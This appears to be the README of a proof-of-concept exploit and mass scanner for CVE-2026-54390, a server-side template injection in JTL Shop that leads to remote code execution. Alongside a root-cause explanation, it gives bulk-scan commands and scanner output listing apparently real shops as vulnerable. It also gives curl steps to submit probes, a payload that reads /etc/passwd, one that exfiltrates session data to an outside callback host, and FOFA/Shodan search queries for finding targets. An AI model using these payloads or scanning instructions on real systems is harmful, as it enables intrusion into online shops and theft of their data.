CVE-2026-54390 是 JTL Shop 5.2.0–5.7.1 中的一个严重(CVSS 9.8)未认证服务端模板注入漏洞。
SmartyRenderer::renderTemplate() 方法将邮件主题行传递给 $smarty->fetch('string:' . $subject) — 将其作为 Smarty 模板进行渲染。用户联系表单字段通过 parseSubject() 中的 #var# 解析方式到达邮件主题,然后被 fetch() 重新求值。
Text::filterXSS() 仅剥离 HTML 标签 — { 和 } 可通过。已注册的 Smarty 修饰器包括 file_get_contents 和 unserialize。
| JTL Shop | 状态 |
|---|---|
| < 5.2.0 | 不受影响 |
| 5.2.0 – 5.3.x | 存在漏洞(凭证窃取) |
| 5.4.0 – 5.7.1 | 存在漏洞(完整 RCE) |
| 5.5.4 / 5.6.2 / 5.7.2+ | 已修补 |
// includes/src/Mail/Renderer/SmartyRenderer.php 第63行
$subject = $this->parseSubject($model->getSubject($languageID));
$template->setSubject($this->getSmarty()->fetch('string:' . $subject));
// ^^^^^^^^^^^^^^^^^^^^^
// 邮件主题作为 Smarty 模板渲染
1. 用户填写联系表单 → 姓名/邮箱/消息 → filterXSS()
2. filterXSS 仅剥离 HTML — {system('id')} 可通过
3. 邮件主题模板:"Neue Anfrage von #Kunde.vorname#"
4. parseSubject() 解析 #Kunde.vorname# → {system('id')}
5. fetch('string:Neue Anfrage von {system(\'id\')}') → 执行
6. 发送邮件,主题为:"Neue Anfrage von uid=33(www-data)..."
// PluginCollection.php — 可用于 RCE
'unserialize', 'file_get_contents', 'file_exists', 'class_exists'
git clone https://github.com/shinthink/CVE-2026-54390.git
cd CVE-2026-54390
pip install -r requirements.txt
# 单个目标
python cve_2026_54390.py -t target.com
# 批量扫描
python cve_2026_54390.py -f jtl-targets.txt -o vuln.txt
# 通过联系表单进行 SSTI 探测
python cve_2026_54390.py -t target.com --exploit --debug
-t, --target 单个目标(域名或 IP)
-f, --file 目标列表,每行一个
-o, --output 保存存在漏洞的目标
--threads 工作线程数(默认:20)
--exploit 通过联系表单提交 SSTI 探测
--debug 显示每个 HTTP 请求
-v, --verbose 详细输出
$ python cve_2026_54390.py -t jtl-shop.de --debug
JTL Shop Smarty SSTI | CVE-2026-54390
[jtl-shop.de] JTL Shop v5.7.0
[jtl-shop.de] [+] JTL Shop v5.7.0
[jtl-shop.de] 联系表单:/Kontakt | 主题数:5
主机 : jtl-shop.de
JTL Shop : YES v5.7.0
联系表单 : YES
表单路径 : /Kontakt
主题数 : 5 个可用
[!] business.trustedshops.ch 1.6s v5.5.2 表单:/Kontakt
[!] bmg-moebel.de 5.3s v5.7.0 表单:/Kontakt
[100/5600] 1% | JTL:23 漏洞:12
步骤 1 — 查找联系表单和令牌
curl -sk 'https://target.com/Kontakt' | grep -oP 'name="jtl_token"[^>]*value="\K[^"]+'
步骤 2 — 提交 SSTI 探测
curl -sk -X POST 'https://target.com/Kontakt' \
-d 'kontakt=1' -d 'subject=1' \
-d 'nachricht={7*7}' \
-d 'vorname={7*7}' \
-d 'nachname={7*7}' \
-d '[email protected]'
步骤 3 — 读取文件
{{"/etc/passwd"|file_get_contents}}
步骤 4 — 外部带外数据泄露
{{"http://callback.com/?s="|file_get_contents|cat:$smarty.session|replace_delim:":"}}
FOFA: body="jtl" && body="kontakt"
Shodan: http.html:"jtl" http.html:"Kontakt"
仅用于教育和授权测试目的。 作者对滥用行为不承担任何责任。
| 资源 | 链接 |
|---|
与 JTL-Software 或 Sansec 无关。
| Sansec 研究 | sansec.io/research/jtl-shop-ssti-rce |
| IONIX 公告 | ionix.io/threat-center/cve-2026-54390 |
| JTL 论坛 | forum.jtl-software.de |
| NVD | CVE-2026-54390 |